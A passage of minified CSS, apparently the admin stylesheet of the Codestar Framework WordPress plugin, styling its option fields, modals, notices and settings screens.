Free",FontAwesome;font-weight:900;content:"\f00c";width:16px;height:16px;line-height:14px;opacity:0;color:#fff;background-color:#222;transition:opacity .2s}.csf-field-palette .csf--active{border-color:#222;box-shadow:0 0 20px rgba(0,0,0,.2)}.csf-field-palette .csf--active:before{opacity:1}.csf-field-palette input{display:none}.csf-field-repeater .csf-field-text input{width:100%}.csf-field-repeater .csf-repeater-hidden{display:none!important}.csf-field-repeater .csf-repeater-wrapper .csf-repeater-item{display:table;width:100%;margin-bottom:5px;border:1px solid #eee}.csf-field-repeater .csf-repeater-wrapper .csf-repeater-item h4{font-size:1em}.csf-field-repeater .csf-repeater-content{width:100%;display:table-cell;vertical-align:middle;background-color:#fff}.csf-field-repeater .csf-repeater-content>.csf-field{padding:15px}.csf-field-repeater .csf-repeater-helper{width:100%;display:table-cell;vertical-align:middle;text-align:center;font-size:14px;line-height:1em;border-left:1px solid #eee;background-color:#f7f7f7}.csf-field-repeater .csf-repeater-helper i{display:inline-block;cursor:pointer;color:#999;padding:5px}.csf-field-repeater .csf-repeater-helper i:hover{color:#555}.csf-field-repeater .csf-repeater-helper-inner{width:75px}.csf-field-repeater .csf-repeater-alert{display:none;margin-bottom:5px;padding:10px 20px;color:#a94442;border:1px solid #ebccd1;background-color:#f2dede}.csf-field-repeater .widget-placeholder{height:50px;margin-bottom:3px;border:1px dashed #f1c40f;background-color:#fffae4}.csf-field-repeater .ui-sortable-helper{height:50px!important;overflow:hidden!important;border-color:#ccc!important;background-color:#eee!important;opacity:.5}.csf-field-repeater .ui-sortable-helper .csf-repeater-content,.csf-field-repeater .ui-sortable-helper .csf-repeater-helper{display:none}.csf-field-select .csf-fieldset{min-height:30px}.csf-field-select .csf-chosen{display:none}.csf-field-select select{max-width:100%;margin:0}.csf-field-select .csf-hide-select{display:none!important}.csf-field-slider .csf--wrap{display:flex;align-items:center}.csf-field-slider .csf--input{display:flex}.csf-field-slider .csf--unit{display:flex;justify-content:center;flex-direction:column;user-select:none;padding:0 6px;font-size:11px;line-height:1;border-radius:0;color:#555;border:1px solid #7e8993;border-left:0;background-color:#f5f5f5}.csf-field-slider .csf-slider-ui{margin-right:15px}.csf-field-slider input[type=number]{position:relative;z-index:1;margin:0;width:50px;text-align:center}.csf-field-slider .csf--is-unit{border-top-right-radius:0!important;border-bottom-right-radius:0!important}.csf-field-slider .ui-slider{position:relative;width:100%;height:3px;border:none;background:#ddd;border-radius:0}.csf-field-slider .ui-slider-range{height:3px;border:none;background:#333;border-radius:0}.csf-field-slider .ui-slider-handle{position:absolute;width:16px;height:16px;top:-7px;margin-left:-8px;border:none;background:#333;border-radius:0}.csf-field-slider .ui-slider-handle:hover,.csf-field-slider .ui-state-active{cursor:pointer;background:#111}.csf-field-sortable .csf-field-text input{width:100%;max-width:100%}.csf-field-sortable .csf-sortable .csf-sortable-item{display:table;width:100%;margin-bottom:5px;border:1px solid #eee}.csf-field-sortable .csf-sortable .csf-sortable-item h4{font-size:1em}.csf-field-sortable .csf-sortable-content{width:100%;display:table-cell;vertical-align:middle;background-color:#fff}.csf-field-sortable .csf-sortable-content>.csf-field{padding:15px}.csf-field-sortable .csf-sortable-helper{width:100%;display:table-cell;vertical-align:middle;text-align:center;font-size:14px;line-height:1em;border-left:1px solid #eee;background-color:#f7f7f7}.csf-field-sortable .csf-sortable-helper i{display:inline-block;cursor:pointer;width:50px;color:#555}.csf-field-sortable .csf-sortable-helper i:hover{opacity:.5}.csf-field-sortable .widget-placeholder{height:50px;margin-bottom:3px;border:1px dashed #f1c40f;background-color:#fffae4}.csf-field-sortable .ui-sortable-helper{height:50px!important;overflow:hidden!important;border-color:#ccc!important;background-color:#eee!important;opacity:.5}.csf-field-sortable .ui-sortable-helper .csf-sortable-content,.csf-field-sortable .ui-sortable-helper .csf-sortable-helper{display:none}.csf-field-sorter .ui-sortable-placeholder{height:20px;border:1px dashed #f1c40f;background-color:#fffae4}.csf-field-sorter .csf-modules{float:left;width:50%;box-sizing:border-box}.csf-field-sorter .csf-modules:first-child{padding-right:15px}.csf-field-sorter .csf-modules:last-child{padding-left:15px}.csf-field-sorter .csf-disabled,.csf-field-sorter .csf-enabled{padding:5px 15px;border:1px dashed #ddd;background-color:#fff}.csf-field-sorter .csf-disabled li{opacity:.5;transition:opacity .15s}.csf-field-sorter .csf-disabled .ui-sortable-helper{opacity:1}.csf-field-sorter .csf-sorter-title{font-size:13px;font-weight:600;padding:10px;text-align:center;border:1px dashed #ddd;border-bottom:none;background-color:#f8f8f8;text-transform:uppercase}.csf-field-sorter ul{list-style-type:none;margin:0;padding:0;min-height:62px}.csf-field-sorter ul li{margin:10px 0;padding:10px 15px;cursor:move;font-weight:700;text-align:center;border:1px solid #e5e5e5;background-color:#fafafa;transition:border-color .15s}.csf-field-sorter ul li:hover{border-color:#bbb}.csf-field-spinner .csf--spin{display:flex}.csf-field-spinner .ui-widget{font-family:inherit}.csf-field-spinner .ui-spinner{display:flex;align-items:stretch;overflow:unset;border:none;background:0 0;border-radius:0}.csf-field-spinner .ui-spinner .ui-button{display:flex;flex-direction:column;justify-content:center;text-align:center;min-width:20px;padding:0 4px;margin:0;color:#555;background-color:#f5f5f5;border:1px solid #7e8993}.csf-field-spinner .ui-spinner .ui-spinner-button{position:relative;cursor:pointer;height:auto}.csf-field-spinner .ui-spinner .ui-spinner-button:hover{background-color:#e7e7e7}.csf-field-spinner .ui-spinner .ui-spinner-button:active{background-color:#ddd}.csf-field-spinner .ui-spinner .ui-spinner-button:before{font-family:"Font Awesome 5 Pro","Font Awesome 5 Free",FontAwesome;font-weight:900;font-size:14px;line-height:14px}.csf-field-spinner .ui-spinner .ui-spinner-down{border-right:0;border-radius:0}.csf-field-spinner .ui-spinner .ui-spinner-down:before{content:"\f0d9"}.csf-field-spinner .ui-spinner .ui-spinner-up{border-left:0;border-radius:0}.csf-field-spinner .ui-spinner .ui-spinner-up:before{content:"\f0da"}.csf-field-spinner .ui-spinner .csf--unit{border-left:0;user-select:none}.csf-field-spinner .ui-spinner .ui-button-icon,.csf-field-spinner .ui-spinner .ui-button-icon-space,.csf-field-spinner .ui-spinner .ui-button-text{display:none}.csf-field-spinner .ui-spinner input{font-family:inherit;font-size:inherit;position:relative;z-index:1;width:50px;text-align:center;margin:0;padding:0 8px;border-radius:0}.csf-field-spinner .ui-spinner-down{order:1}.csf-field-spinner .ui-spinner-input{order:2}.csf-field-spinner .csf--unit{order:3}.csf-field-spinner .ui-spinner-up{order:4}.csf-field-switcher .csf--switcher{float:left;cursor:pointer;position:relative;width:80px;height:36px;padding:0;margin:0;overflow:hidden;border-radius:0;background-color:#8c8c8c;user-select:none;-webkit-user-select:none}.csf-field-switcher .csf--ball{position:absolute;top:4px;left:4px;width:30px;height:28px;background-color:#fff;border-radius:0;transition:all .1s;box-shadow:1px 1px 1px rgba(0,0,0,.15)}.csf-field-switcher .csf--off,.csf-field-switcher .csf--on{position:absolute;top:0;left:0;right:0;font-size:11px;line-height:36px;font-weight:500;font-style:normal;text-align:center;text-transform:uppercase;color:#fff;padding-right:28px;opacity:0;transition:all .1s}.csf-field-switcher .csf--off{padding-right:0;padding-left:28px;opacity:1}.csf-field-switcher .csf--active{background:var(--wp-admin-theme-color)}.csf-field-switcher .csf--active .csf--on{opacity:1}.csf-field-switcher .csf--active .csf--off{opacity:0}.csf-field-switcher .csf--active .csf--ball{left:100%;margin-left:-34px}.csf-field-switcher .csf--label{float:left;margin-top:4px;margin-left:8px;font-weight:400;color:#999}.csf-field-tabbed .csf-tabbed-content{border:1px solid #ccd0d4;background-color:#fff;box-shadow:0 1px 1px rgba(0,0,0,.04)}.csf-field-tabbed .csf-tabbed-content>.csf-field{padding:15px}.csf-field-tabbed .csf-tabbed-nav .csf--icon{padding-right:5px}.csf-field-tabbed .csf-tabbed-nav a{display:inline-block;padding:12px 15px;margin-top:1px;margin-right:5px;margin-bottom:-1px;position:relative;text-decoration:none;color:#444;font-weight:600;border:1px solid #ccd0d4;background-color:#f3f3f3;transition:all .2s}.csf-field-tabbed .csf-tabbed-nav a:hover{background-color:#f9f9f9}.csf-field-tabbed .csf-tabbed-nav a.csf-tabbed-active{background-color:#fff;border-bottom-color:#fff}.csf-field-tabbed .csf-tabbed-nav a:focus{outline:0;box-shadow:none}.csf-field-text input{width:50%;max-width:100%;margin:0;border-radius:0}.csf-field-export textarea,.csf-field-import textarea,.csf-field-textarea textarea{width:100%;max-width:100%;min-height:125px}.csf-field-textarea .csf-shortcode-button{margin-bottom:10px;margin-right:5px}.csf-field-typography select,.csf-field-typography textarea{margin:0;min-width:100%;max-width:100%}.csf-field-typography .csf--title{color:#777;margin:0 0 2px 0;font-size:12px}.csf-field-typography .csf--title small{vertical-align:top}.csf-field-typography .csf--blocks{display:flex;flex-wrap:wrap}.csf-field-typography .csf--block{flex:1;max-width:100%;padding-right:6px;padding-bottom:6px}.csf-field-typography .csf--input{margin:0;min-width:100%}.csf-field-typography .csf--input-wrap{position:relative}.csf-field-typography .csf--unit{position:absolute;z-index:1;right:4px;top:4px;bottom:4px;padding:2px 6px;color:#666;font-size:11px;line-height:1;border-radius:0;background:#eee;user-select:none;display:flex;justify-content:center;flex-direction:column}.csf-field-typography .csf--preview{font-size:16px;line-height:20px;padding:20px;color:#222;border:1px solid #eee;background-color:#fff;border-radius:0;user-select:none;-webkit-user-select:none;transition:background-color .2s,border-color .2s}.csf-field-typography .csf--block-preview{cursor:pointer;position:relative;overflow:hidden;margin-top:10px;max-width:100%}.csf-field-typography .csf--black-background{border-color:#000;background-color:#000}.csf-field-typography .csf--toggle{position:absolute;top:5px;right:10px;color:#999}.csf-field-typography .csf--block-extra-styles{margin-top:5px}.csf-field-upload input{width:100%;margin:0;border-radius:0}.csf-field-upload .csf--wrap{display:flex;align-items:flex-start}.csf-field-upload .button{margin-left:5px;border-radius:0}.csf-field-upload .csf--preview{position:relative}.csf-field-wp_editor .csf-wp-editor{float:left;width:100%}.csf-field-wp_editor .mce-toolbar-grp{border:none}.csf-field-wp_editor .mce-btn.mce-active button,.csf-field-wp_editor .mce-btn.mce-active i,.csf-field-wp_editor .mce-btn.mce-active:hover button,.csf-field-wp_editor .mce-btn.mce-active:hover i{color:#23282d}.csf-field-wp_editor .wp-media-buttons{position:relative;z-index:2}.csf-field-wp_editor .wp-editor-tabs{position:relative;z-index:1}.csf-field-wp_editor .csf-no-tinymce{border:1px solid #e5e5e5}.csf-field-wp_editor .csf-no-quicktags .wp-media-buttons{float:none;display:block}.csf-field-wp_editor .csf-no-quicktags .mce-tinymce{box-shadow:none;border:1px solid #e5e5e5}.csf-field-wp_editor textarea{width:100%;max-width:100%;margin:0;box-shadow:none}.csf-field-heading{font-size:1.5em;font-weight:700;color:#23282d;background-color:#f5f5f5}.csf-field-subheading{font-size:14px;font-weight:700;padding-top:17px;padding-bottom:17px;color:#23282d;background-color:#f7f7f7}.csf-field-submessage{padding:0!important;border:0!important}.csf-field-submessage+.csf-field{border-top:0!important}.csf-submessage{font-size:12px;padding:17px 30px;border-top:1px solid transparent;border-bottom:1px solid transparent}.csf-submessage-success{color:#3c763d;border-color:#d6e9c6;background-color:#dff0d8}.csf-submessage-info{color:#31708f;border-color:#bce8f1;background-color:#d9edf7}.csf-submessage-warning{color:#8a6d3b;border-color:#faebcc;background-color:#fcf8e3}.csf-submessage-danger{color:#a94442;border-color:#ebccd1;background-color:#f2dede}.csf-submessage-normal{color:#23282d;border-color:#eee;background-color:#f7f7f7}.csf-field-notice{background-color:#f7f7f7}.csf-notice{padding:12px;background-color:#fff;border-left-style:solid;border-left-width:4px;box-shadow:0 1px 1px rgba(0,0,0,.1)}.csf-notice-success{border-color:#46b450}.csf-notice-info{border-color:#339fd4}.csf-notice-warning{border-color:#ffbc00}.csf-notice-danger{border-color:#dc3232}.csf-notice-normal{border-color:#222}.csf-field-number input{width:100%;margin:0;border-radius:0}.csf-field-number .csf--wrap{position:relative;float:left;width:100px}.csf-field-number .csf--unit{position:absolute;z-index:1;right:4px;top:4px;bottom:4px;padding:2px 6px;color:#666;font-size:11px;line-height:1;border-radius:0;background:#eee;user-select:none;display:flex;justify-content:center;flex-direction:column}.csf-field-link .csf--result{display:inline-block;font-size:12px;line-height:16px;padding:7px 10px;margin-bottom:7px;color:#777;border:1px solid #e5e5e5;background-color:#f5f5f5;border-radius:0;world-break:break-word}.csf-field-link .csf--wrap{position:relative;float:left;width:100px}.csf-field-link .csf--unit{position:absolute;z-index:1;right:4px;top:4px;bottom:4px;padding:2px 6px;color:#666;font-size:11px;line-height:1;border-radius:0;background:#eee;user-select:none;display:flex;justify-content:center;flex-direction:column}.csf-help{cursor:help;position:absolute;top:0;right:0;padding:5px;font-size:13px;color:#aaa}.csf-help .csf-help-text{display:none}.csf--preview{max-width:100%}.csf-image-preview{display:inline-flex;align-items:center;justify-content:center;flex-direction:column;position:relative;padding:6px;max-width:120px;max-height:120px;min-width:40px;min-height:40px;margin-bottom:10px;text-align:center;border-radius:0;border:1px solid #ccc;background-color:#f9f9f9;box-shadow:0 1px 0 rgba(0,0,0,.08)}.csf-image-preview i{cursor:pointer;position:absolute;z-index:1;right:4px;top:4px;font-size:14px;width:22px;height:22px;line-height:22px;text-align:center;text-decoration:none;color:#fff;background-color:#d33;opacity:.75;border-radius:0;transition:all .2s}.csf-image-preview i:hover{opacity:1}.csf-image-preview i:focus{box-shadow:none}.csf-image-preview span{position:relative;overflow:hidden;display:flex;height:100%;width:100%}.csf-image-preview img{max-width:100%;height:auto;object-fit:contain}.csf-field-custom .csf-field{padding:0}.csf-field .chosen-container-single .chosen-single{height:36px;line-height:34px;min-width:220px}.csf-field .chosen-container-single .chosen-single abbr{top:0;right:20px;font-family:"Font Awesome 5 Pro","Font Awesome 5 Free",FontAwesome;font-weight:900;font-size:12px;height:100%;width:18px;color:#aaa;text-align:center;background:0 0}.csf-field .chosen-container-single .chosen-single abbr:before{content:"\f00d"}.csf-field .chosen-container-single .chosen-single abbr:hover{color:#555}.csf-field .chosen-container-multi .chosen-choices li.search-choice .search-choice-close{font-family:"Font Awesome 5 Pro","Font Awesome 5 Free",FontAwesome;font-weight:900;font-size:12px;height:100%;width:18px;color:#aaa;text-align:center;background:0 0}.csf-field .chosen-container-multi .chosen-choices li.search-choice .search-choice-close:before{content:"\f00d";display:inline-block;padding-top:3px}.csf-field .chosen-container-multi .chosen-choices li.search-choice .search-choice-close:hover{color:#555}.csf-field .chosen-container-single .chosen-single div b{font-family:"Font Awesome 5 Pro","Font Awesome 5 Free",FontAwesome;font-weight:900;font-size:14px;color:#aaa;background:0 0}.csf-field .chosen-container-single .chosen-single div b:before{content:"\f107"}.csf-field .chosen-container-single .chosen-single div b:hover{color:#555}.csf-field .chosen-container-multi .chosen-choices li.search-choice-placeholder{border:1px dashed #aaa;margin:3px 5px 3px 0}.csf-field .chosen-container-multi .ui-sortable li.search-choice span{cursor:move}.csf-field .chosen-container-active.chosen-with-drop .chosen-single div b:before{content:"\f106"}.csf-field .chosen-container-single .chosen-single-with-deselect span{margin-right:40px}.csf-field .chosen-container-single .chosen-search input[type=text]{background:0 0}.csf-field .chosen-container-single .chosen-search:before{font-family:"Font Awesome 5 Pro","Font Awesome 5 Free",FontAwesome;font-weight:900;font-size:11px;content:"\f002";position:absolute;right:12px;top:10px;color:#aaa}.csf-field .wp-picker-container{display:inline-block}.csf-field .wp-picker-container .wp-color-result.button{margin-bottom:0}.csf-field .csf--transparent-wrap{display:none;position:relative;top:-1px;width:235px;padding:9px 10px;border:1px solid #dfdfdf;border-top:none;background-color:#fff}.csf-field .wp-picker-active .csf--transparent-wrap{display:block}.csf-field .csf--transparent-slider{position:absolute;width:190px;margin-left:2px;height:18px}.csf-field .csf--transparent-slider .ui-slider-handle{position:absolute;top:-3px;bottom:-3px;z-index:5;border-color:#aaa;border-style:solid;border-width:4px 3px;width:10px;height:16px;margin:0 -5px;background:0 0;cursor:ew-resize;opacity:.9;border-radius:0;box-shadow:0 1px 2px rgba(0,0,0,.2)}.csf-field .csf--transparent-slider .ui-slider-handle:before{content:" ";position:absolute;left:-2px;right:-2px;top:-3px;bottom:-3px;border:2px solid #fff;border-radius:0}.csf-field .csf--transparent-offset{height:18px;width:200px;background:url(images/checkerboard.png) repeat-y center left scroll #fff;border-radius:0;box-shadow:inset 0 0 5px rgba(0,0,0,.4)}.csf-field .csf--transparent-text{position:absolute;top:12px;right:10px;width:30px;font-size:12px;line-height:12px;text-align:center;color:#999}.csf-field .csf--transparent-button{cursor:pointer;user-select:none;margin-top:10px;font-size:11px;text-align:center;border-radius:0;padding:3px 7px;box-shadow:0 1px 0 rgba(0,0,0,.1);letter-spacing:.2px;color:#777;border:1px solid #ccc;background-color:#f7f7f7;transition:background-color .2s,border-color .2s,color .2s}.csf-field .csf--transparent-active .wp-color-result{background-image:url(images/checkerboard.png);background-size:135px;background-position:center left;background-color:transparent!important}.csf-field .csf--transparent-active .csf--transparent-button{color:#fff;border-color:#3ea032;background-color:#4fb845}.csf-field .csf--transparent-active .fa:before{content:"\f205"}.csf-widgets>.csf-field{position:relative;top:-1px;margin-left:-15px;margin-right:-15px;padding:12px 15px}.csf-widgets>.csf-field .csf-title{float:none;width:100%;margin-bottom:5px}.csf-widgets>.csf-field .csf-fieldset{float:none;width:100%}.csf-widgets .csf-field-text input{width:100%;border-radius:0}.csf-widgets .csf-field-notice .csf-notice{padding:15px}.control-section .csf-widgets>.csf-field{margin-left:-10px;margin-right:-10px;padding:10px 12px}.wp-block .csf-widgets{font-size:13px}.wp-block .csf-widgets>.csf-field{margin-left:-10px;margin-right:-10px}.wp-block .csf-widgets>.csf-field .button-primary{color:#fff}.wp-block .csf-widgets>.csf-field>.csf-title>h4{font-size:13px}.control-section .csf-field{padding:0}.control-section .csf-field .csf-title{float:none;width:100%;margin-bottom:6px}.control-section .csf-field .csf-title h4{display:block;font-size:13px;line-height:1;font-weight:600;color:inherit}.control-section .csf-field .csf-fieldset{float:none;width:100%}.control-section .csf-help{top:-5px;right:-5px}.control-section .csf-field-select select{width:100%}.control-section .csf-field-heading{color:inherit;font-size:14px;line-height:1em;margin-right:-15px;margin-left:-15px;padding:15px}.control-section .csf-field-subheading{color:inherit;font-size:11px;margin-right:-15px;margin-left:-15px;padding:10px 15px}.control-section .csf-subtitle-text{margin-top:4px;font-size:12px}.control-section .csf-field-submessage .csf-submessage{margin-right:-15px;margin-left:-15px;padding:15px}.control-section .csf-fieldset .csf-field-heading,.control-section .csf-fieldset .csf-field-subheading,.control-section .csf-fieldset .csf-field-submessage .csf-submessage{margin-left:0;margin-right:0}.control-section .csf-field-date label,.control-section .csf-field-datetime label{display:block}.control-section .csf-field-date .csf--to,.control-section .csf-field-datetime .csf--to{margin-top:4px;margin-left:0}.control-section .csf-field-sorter ul li{padding:5px}.control-section .csf-field-sorter .csf-modules{float:none;width:100%}.control-section .csf-field-sorter .csf-modules:first-child{padding-right:0;padding-bottom:15px}.control-section .csf-field-background .csf--background-attributes{flex-direction:column}.control-section .csf-field-spacing input{width:90px}.control-section .csf-field-border .csf--input{flex:1 50%}.control-section .csf-field-border input,.control-section .csf-field-border select{width:100%}.control-section .csf-field-spinner input{width:50px}.control-section .csf-field-number .csf--wrap{width:100%}.control-section .csf-field-backup .csf-export-data{display:none}.control-section .csf-field-fieldset .csf-fieldset-content{border-color:#e5e5e5}.control-section .csf-accordion-content>.csf-field,.control-section .csf-cloneable-content>.csf-field,.control-section .csf-fieldset-content>.csf-field,.control-section .csf-repeater-content>.csf-field,.control-section .csf-sortable-content>.csf-field,.control-section .csf-tabbed-content>.csf-field{padding:10px}.control-section .csf-accordion-content>.csf-field .csf-title,.control-section .csf-cloneable-content>.csf-field .csf-title,.control-section .csf-fieldset-content>.csf-field .csf-title,.control-section .csf-repeater-content>.csf-field .csf-title,.control-section .csf-sortable-content>.csf-field .csf-title,.control-section .csf-tabbed-content>.csf-field .csf-title{margin-bottom:5px}.control-section .csf-accordion-content>.csf-field h4,.control-section .csf-cloneable-content>.csf-field h4,.control-section .csf-fieldset-content>.csf-field h4,.control-section .csf-repeater-content>.csf-field h4,.control-section .csf-sortable-content>.csf-field h4,.control-section .csf-tabbed-content>.csf-field h4{font-size:12px}.control-section .csf-depend-hidden.csf-depend-on{display:none!important}.control-section .csf-depend-visible.csf-depend-on{border-top:0!important}.csf-taxonomy{max-width:95%}.csf-taxonomy>.csf-field{border-top:none!important}.csf-taxonomy>.csf-field-heading{font-size:1.1em;padding:20px!important;border:1px solid #ddd}.csf-taxonomy>.csf-field-subheading{font-size:12px;padding:15px!important;border:1px solid #ddd}.csf-taxonomy>.csf-field-submessage .csf-submessage{padding:15px;border-left-width:1px;border-left-style:solid;border-right-width:1px;border-right-style:solid}.csf-taxonomy>.csf-field-notice{background-color:transparent}.csf-taxonomy .csf-section-title{display:block;padding:15px;background-color:#f9f9f9;border:1px solid #e5e5e5;box-shadow:0 1px 1px rgba(0,0,0,.04)}.csf-taxonomy-add-fields>.csf-field{padding:8px 0}.csf-taxonomy-add-fields>.csf-field>.csf-title{float:none;width:100%;padding:2px 2px 4px 0}.csf-taxonomy-add-fields>.csf-field>.csf-title h4{font-size:12px;font-weight:400}.csf-taxonomy-add-fields>.csf-field>.csf-fieldset{float:none;width:100%}.csf-taxonomy-add-fields>.csf-field>.csf-fieldset>.csf-help{right:-5px}.csf-taxonomy-add-fields+p.submit{margin-top:0}.csf-taxonomy-edit-fields>.csf-field{padding:20px 0}.csf-taxonomy-edit-fields>.csf-field>.csf-title{width:200px}.csf-taxonomy-edit-fields>.csf-field>.csf-title h4{font-size:14px;font-weight:600;line-height:1.3;display:inline-block;vertical-align:middle}.csf-taxonomy-edit-fields>.csf-field>.csf-fieldset{width:calc(100% - 220px)}.csf-taxonomy-edit-fields>.csf-field>.csf-fieldset>.csf-help{top:-5px;right:-5px}.csf-taxonomy-edit-fields>.csf-field-submessage{margin:20px 0}.csf-taxonomy-edit-fields>.csf-field-heading,.csf-taxonomy-edit-fields>.csf-field-subheading{margin:20px 0;border:1px solid #ddd}.csf-nav-menu-options{clear:both;float:left;width:100%}.csf-nav-menu-options>.csf-fields{margin:10px -10px;border-top:1px solid #eee;border-bottom:1px solid #eee}.csf-nav-menu-options>.csf-fields>.csf-field{padding:12px}.csf-nav-menu-options>.csf-fields>.csf-field .csf-title{float:none;width:100%;margin-bottom:5px}.csf-nav-menu-options>.csf-fields>.csf-field .csf-fieldset{float:none;width:100%}.csf-nav-menu-options .csf-field-text input{width:100%}.csf-nav-menu-options .csf-field-notice .csf-notice{padding:15px}.csf-nav-menu-title{padding:12px;background-color:#f5f5f5;border-top:1px solid #eee;border-bottom:1px solid #eee}.csf-nav-menu-title:first-child{border-top:0}.csf-nav-menu-title h4{margin:0;padding:0;color:#23282d}.csf-nav-menu-icon{margin-right:5px}.csf-profile-options>h2>.fa{padding-right:7px}.csf-profile-options>.csf-field{max-width:750px;padding:15px 0;border-top:none!important}.csf-profile-options>.csf-field>.csf-title{width:200px}.csf-profile-options>.csf-field>.csf-title h4{font-size:14px;font-weight:600;line-height:1.3;display:inline-block;vertical-align:middle}.csf-profile-options>.csf-field>.csf-fieldset{width:calc(100% - 220px)}.csf-profile-options>.csf-field>.csf-fieldset>.csf-help{top:-15px;right:-5px}.csf-profile-options>.csf-field-heading{font-size:1.1em}.csf-profile-options>.csf-field-subheading{font-size:12px}.csf-profile-options>.csf-field-heading,.csf-profile-options>.csf-field-subheading{margin:10px 0;padding:15px!important;border:1px solid #ddd}.csf-profile-options>.csf-field-submessage{margin:20px 0}.csf-profile-options>.csf-field-submessage .csf-submessage{padding:10px;border-left-width:1px;border-left-style:solid;border-right-width:1px;border-right-style:solid}.csf-profile-options>.csf-field-notice{background-color:transparent}.csf-modal{position:fixed;z-index:100101;top:0;left:0;width:100%;height:100%}.csf-modal.hidden{display:none}.csf-modal-icon{z-index:100102}.csf-modal-table{display:table;width:100%;height:100%}.csf-modal-table-cell{display:table-cell;vertical-align:middle;margin:100px 0}.csf-modal-inner{position:relative;z-index:10;width:760px;height:750px;margin:0 auto;background-color:#fff}.csf-modal-content{position:relative;overflow:hidden;overflow-y:auto;height:595px}.csf-modal-content .csf-shortcode-button{display:none}.csf-modal-content .csf-field{padding:15px 30px 15px 15px}.csf-modal-content a:active,.csf-modal-content a:focus{outline:0;box-shadow:none}.csf-modal-content h4{font-size:13px}.csf-modal-content h4 small{font-style:italic;font-weight:400;color:#aaa}.csf-modal-title{position:relative;background-color:#fcfcfc;border-bottom:1px solid #ddd;height:36px;font-size:16px;font-weight:600;line-height:36px;margin:0;padding:0 36px 0 16px}.csf-modal-header{width:100%;padding:14px 0;background-color:#f5f5f5;border-bottom:1px solid #ddd}.csf-modal-header select{display:block;width:250px;margin:0 auto;font-size:13px;line-height:1;height:30px;min-height:30px;background-color:#fff}.csf-modal-close{color:#666;padding:0;position:absolute;top:0;right:0;width:36px;height:36px;text-align:center;background:0 0;border:none;cursor:pointer}.csf-modal-close:before{font:normal 20px/36px dashicons;content:"\f158";vertical-align:top;width:36px;height:36px}.csf-modal-close:hover{opacity:.5}.csf-modal-insert-wrapper{text-align:center;width:100%;padding:15px 0;background-color:#f5f5f5;border-top:1px solid #ddd}.csf-modal-overlay{position:absolute;top:0;left:0;width:100%;height:100%;background-color:#000;opacity:.5}.csf--repeatable{padding:15px 15px 0 15px}.csf--repeat-button-block{text-align:center;padding-bottom:15px}.csf--repeat-shortcode{position:relative;margin-bottom:15px;border:1px dashed #ddd}.csf--repeat-shortcode:first-child .csf-repeat-remove{display:none}.csf--repeat-shortcode .csf-repeat-remove{position:absolute;right:10px;top:10px;z-index:10;cursor:pointer;display:inline-block;font-size:11px;width:18px;height:18px;line-height:18px;text-align:center;border-radius:0;color:#fff;background-color:#e14d43;opacity:.5}.csf--repeat-shortcode .csf-repeat-remove:hover{opacity:.5}.csf-shortcode-single .csf-modal-inner{height:750px}.csf-shortcode-single .csf-modal-content{height:652px}.elementor-editor-active .csf-shortcode-button{margin-left:5px}.elementor-editor-active .csf-modal .hidden{display:none!important}.csf-shortcode-block{text-align:center;padding:14px;font-size:13px;background-color:#f5f5f5;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif}.csf-shortcode-block .components-button{margin-bottom:10px}.csf-modal-icon .csf-icon-title{padding:15px 0;margin:4px;font-size:14px;font-weight:700;text-align:center;border:1px solid #eee;background-color:#f7f7f7}.csf-modal-icon .csf-modal-header{text-align:center}.csf-modal-icon .csf-icon-search{width:50%;height:40px;line-height:40px}.csf-modal-icon i{cursor:pointer;display:inline-block;margin:4px;width:35px;height:35px;line-height:35px;font-size:16px;color:#555;text-align:center;border:1px solid #ccc;background-color:#f7f7f7;border-radius:0;box-shadow:1px 1px 0 rgba(0,0,0,.05)}.csf-modal-icon i:hover{color:#fff;border-color:#222;background-color:#222}.csf-modal-icon .csf-modal-content{padding:10px;height:618px}.csf-modal-icon .csf-error-text{padding:10px}.csf-modal-loading{display:none;position:absolute;left:15px;top:15px}.csf-loading{position:relative;width:20px;height:20px;background:#ccc;border-radius:20px;box-shadow:0 2px 5px rgba(0,0,0,.07)}.csf-loading:after{position:absolute;top:50%;left:50%;width:4px;height:4px;content:"";margin-top:-2px;margin-left:-2px;background-color:#fff;animation-duration:.5s;animation-iteration-count:infinite;animation-timing-function:linear;animation-name:csfLoader;border-radius:0}@keyframes csfLoader{0%{transform:rotate(0) translateX(-6px) rotate(0)}100%{transform:rotate(360deg) translateX(-6px) rotate(-360deg)}}.csf-subtitle-text{margin-top:6px;font-weight:400;color:#999}.csf-desc-text{clear:both;float:left;width:100%;margin-top:6px;font-weight:400;color:#999}.csf-error-text{margin-top:6px;color:#d02c21}.csf-before-text{margin-bottom:6px}.csf-after-text{margin-top:6px}.csf-metabox-hide{display:none!important}.csf-metabox-show{display:block!important}.csf-depend-hidden.csf-depend-on{display:none}.csf-depend-visible.csf-depend-on{display:block;opacity:.75;filter:grayscale(1);user-select:none;border-top:1px solid #eee}.csf-depend-visible.csf-depend-on .clear:before{content:"";left:0;top:0;right:0;bottom:0;position:absolute;background-color:#eee;opacity:.25;z-index:10}.csf-warning-primary{color:#fff!important;border-color:#dc3545!important;background:#dc3545!important}.csf-warning-primary:focus,.csf-warning-primary:hover{border-color:#bd2130!important;background:#bd2130!important}.csf-warning-primary:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px #bd2130!important}.csf-warning-primary:active{border-color:#bd2130!important;background:#bd2130!important}.csf-form-result{display:none;float:left;padding:0 8px;margin-right:4px;font-size:11px;line-height:36px;user-select:none;border-radius:0}.csf-form-show{display:block}.csf-form-success{color:#fff;background-color:#46b450}.csf-form-warning{color:#8a6d3b;background-color:#faebcc}.csf-label-error{position:relative;top:-2px;display:inline-block;font-size:10px;line-height:10px;height:10px;width:10px;padding:1px;font-style:normal;text-align:center;color:#fff;vertical-align:middle;background-color:#e10000;border-radius:0}.csf-no-option{padding:30px}.csf-input-number{-moz-appearance:textfield}.csf-input-number::-webkit-inner-spin-button,.csf-input-number::-webkit-outer-spin-button{-webkit-appearance:none;margin:0}.csf-fa5-shims .csf .fab,.csf-fa5-shims .csf .far,.csf-fa5-shims .csf .fas{font-family:FontAwesome;font-style:normal}.csf-welcome-wrap{position:relative;margin:25px 40px 0 20px;font-size:15px;max-width:1200px}.csf-welcome-wrap p{font-size:14px;line-height:1.5}.csf-welcome-wrap h1{margin:.2em 200px 0 0;padding:0;color:#32373c;line-height:1.2em;font-size:2.8em;font-weight:400}.csf-welcome-wrap .csf-logo{position:absolute;overflow:hidden;top:0;right:0;height:160px;width:140px;box-shadow:0 1px 4px 